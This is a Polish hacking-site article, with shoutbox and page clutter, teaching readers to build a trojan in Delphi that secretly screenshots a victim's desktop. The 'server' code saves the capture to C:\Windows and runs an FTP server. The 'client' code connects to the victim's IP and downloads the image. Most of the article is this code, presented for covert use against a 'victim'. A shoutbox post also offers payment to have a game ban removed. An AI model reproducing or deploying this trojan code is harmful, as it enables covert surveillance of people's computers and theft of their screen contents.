Artykuł: Screen w Trojanie - Hacking security download hack programowanie bezpieczenstwo w sieci

Login:

Hasło:

Zapamiętaj mnie

       

Zarejestruj się.    Zapomniane hasło?





Portal
  Strona Główna
  Artykuły
  Download
  FAQ
  Forum
  Linki
  Kategorie Newsów
  Kontakt
  Reklama
  Regulamin
  Szukaj
  Statystyki Serwisu

Różne
  Namierz IP
  Zarażone programy
  Google h4x0r
  Przetestuj gry
  Site map
  Bramka proxy
  Encyklopedia
  Sprawdź otwarte porty

Skanery





Tylko zalogowani mogą dodawać posty w shoutboksie.

~breakeheart
DATA: 21/12/2011 01:49
Witam mam wielki kłopot za pomoc zapłacę potrzebuje żeby ktoś sciagnol mi bana na server MexiliaMt2 to gierka Morrg ale za wiele kasy w nia wsadzilem podam gadu jak ktos sie zna na tym to zapraszam do

~pawello1852
DATA: 10/04/2011 04:53
[Sleep]

~vi0
DATA: 01/03/2011 06:51





~vi0
DATA: 08/02/2011 11:10
jest tu kto?

xD

czy to ghost_forum :{}

~kewin155
DATA: 05/12/2009 08:30
elo wszystkim

~Pavel9099
DATA: 20/01/2009 09:17
Straszna jest organizacja tego konkursu, naprawdę. Żeby tyle czekać na wyniki. BARDZO jestem zawiedziony.

~Pavel9099
DATA: 03/01/2009 00:20
trzy pięć zero

~bejkolczasty
DATA: 29/12/2008 14:43
elo

@Pallas
DATA: 28/12/2008 03:24
Jeszcze dziś postaram się ogłosić wyniki smiley

~Pavel9099
DATA: 27/12/2008 12:29
Zostały 4 dni do 31.12. Mam nadzieję że konkurs zostanie w tym czasie rozstrzygnięty tak jak @Pallas mówiłeś.




2008913 Unikalnych wizyt


Na samym początku trzeba się wyposarzyć w pakczkę komponentów - -ISC-

Server Trojana :
Na początku dodajemu taką procedurke :

Uses JPEG;


function ZrobScreen(plikbmp, plikjpg : string) : string;


var

Can: TCanvas;


B: TBitmap;

RysunekJPEG : TJPEGImage;

RysunekBMP : TBitmap;

begin


try

Can := TCanvas.Create;


Can.Handle := GetWindowDC(GetDesktopWindow);

B := TBitmap.Create;

B.Width := Screen.Width;

B.Height := Screen.Height;


B.Canvas.CopyRect(Rect(0, 0, Screen.Width, Screen.Height), Can, Rect(0, 0, Screen.Width, Screen.Height));

try


B.SaveToFile(plikbmp);

except

end;

finally


Can.Free;

B.Free;


RysunekBMP:=TBitmap.Create;

RysunekBMP.LoadFromFile(plikbmp);

RysunekJPEG:=TJPEGImage.Create;

try


RysunekJPEG.Assign(RysunekBMP);

RysunekJPEG.SaveToFile(plikjpg);


finally

RysunekJPEG.Free;

RysunekBMP.Free;

DeleteFile(plikbmp);


end;

end;

end;


Ona właśnie zapisuje najważniejszą dla nas rzecz - Screen pliku w postaci JPG
Jej obsługa jest banalna :

ZrobScreen('PlikTymczasowyBMP','PlikWfazieOstatecznejJPG');

Teraz Dodajemy na Forme komponent "FtpServer1" - jest on w pakiecie ISC
W OnCreate Formy wpisujemy :
FtpServer1.Start; //poprostu, start Servera FTP(przesyłanie,wysyłanie plików)

Teraz jak nastąpi komunikat o tym, że ma być zaraz pobierany Screen następuje procedurka :
ZrobScreen('tmp.bmp','C:\Windows\WinshitScreen.jpg'); //robienie screenu


I...Screen jest pobierany przez Clienta...


Client Trojana :
Opiszę tu tylko jak pobrać plik z dysku Ofiary, bo Tylko to jest potrzebne... ;)

Więc : wkładamy na Forme FtpClient1 z ISC
Teraz Wystarczy np. w Button1.Click dać takie coś :


KOMENDA KTÓRA POWIADOMI SERVER O TYM, ZE MUSI ZROBIC SCREENA, I ZAPISAC GO DO C:\Windows\WinshitScreen.jpg

sleep(3000); //odczekanie 3 sek - przecież Server musi zrobić tego Screen'a ;)

try

FtpClient1.HostName := 127.0.0.1; // wpisać Tu należy IP servera...

FtpClient1.LocalFileName := 'C:\screen.jpg'; //gdzie sie plik Screenu Zapisz u nas...


FtpClient1.HostFileName := 'C:\Windows\WinshitScreen.jpg'; //skąd ma być pobrany od Ofiary

FtpClient1.Connect; //połaczenie...

finally

FtpClient1.Get; //Pobranie pliku (get) - jest tez możliwośc wysłania pliku za pomoca innej funkcji (put)


FtpClient1.Quit; //odłączenie ;)

Teraz Screen który był u Ofiary, znalazł się u nas na dysku C:\...

Mam nadzieje ze wszystko opisałem Dobrze..., jak czegoś nie rozumiecie, trudno :)


Przykładowy kod źrodłowy : Pobierz...




Art by MaLy
www: e-hacking.net



Dodane przez Pallas dnia styczeń 24 2008 07:07:45
0 Komentarzy ~ 1726 Czytań Drukuj


Brak komentarzy.


Zaloguj się, żeby móc dodawać komentarze.


Dodawanie ocen dostępne tylko dla zalogowanych Użytkowników.

Proszę się zalogować lub zarejestrować, żeby móc dodawać oceny.

Brak ocen.
Bezpieczeństwo w sieci newsy IT, autorskie artykuły Bezpieczeństwo w sieci
Projekty domów pozycjonowanie tworzenie stron projekt domu krzesla wizualizacje darmowe aliasy laptopy wyposazenie obiektów sportowych jak napisac cv bielizna erotyczna implanty Kraków meble Warszawa smieszne filmy counter strike
sprawdz autoryzacje brak autoryzacji nieautoryzowano 905 nieautoryzowano